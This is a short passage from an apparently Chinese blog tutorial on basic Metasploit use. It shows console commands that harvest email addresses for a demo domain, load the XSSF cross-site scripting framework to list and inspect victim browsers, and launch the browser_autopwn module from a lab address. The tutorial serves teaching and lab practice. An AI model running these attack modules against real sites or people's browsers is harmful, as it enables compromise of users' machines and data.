msf> use auxiliary/gather/search_email_collector
>set DOMAIN altoromutual.com
>altoromutual.com
>run

XSSF

一个跨站脚本攻击框架

  • 首先下载最新的XSSF程序,解压压缩包,把四个文件夹合并到/opt/framework/msf3 中

加载xssf

msf > load xssf

查看基本配置信息

msf > xssf_urls

查看受到攻击的主机的信息

msf > xssf_victims

//状态为true的是最近的一次攻击成功的信息

查看被攻击主机的信息

msf > xssf_information 4
目标浏览器为IE6.0

选择相关模块进行攻击

msf > use auxiliary/server/browser_autopwn
    > set LHOST 10.10.10.128
    > set SRVHOST 10.10.10.128
    > set SRVPORT 8080
    > exploit

查看可以被利用的模块信息

    > jobs

本博客采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 发布.转载请注明出处
本文链接:https://ares-x.com/2019/04/29/Metasploit基础使用/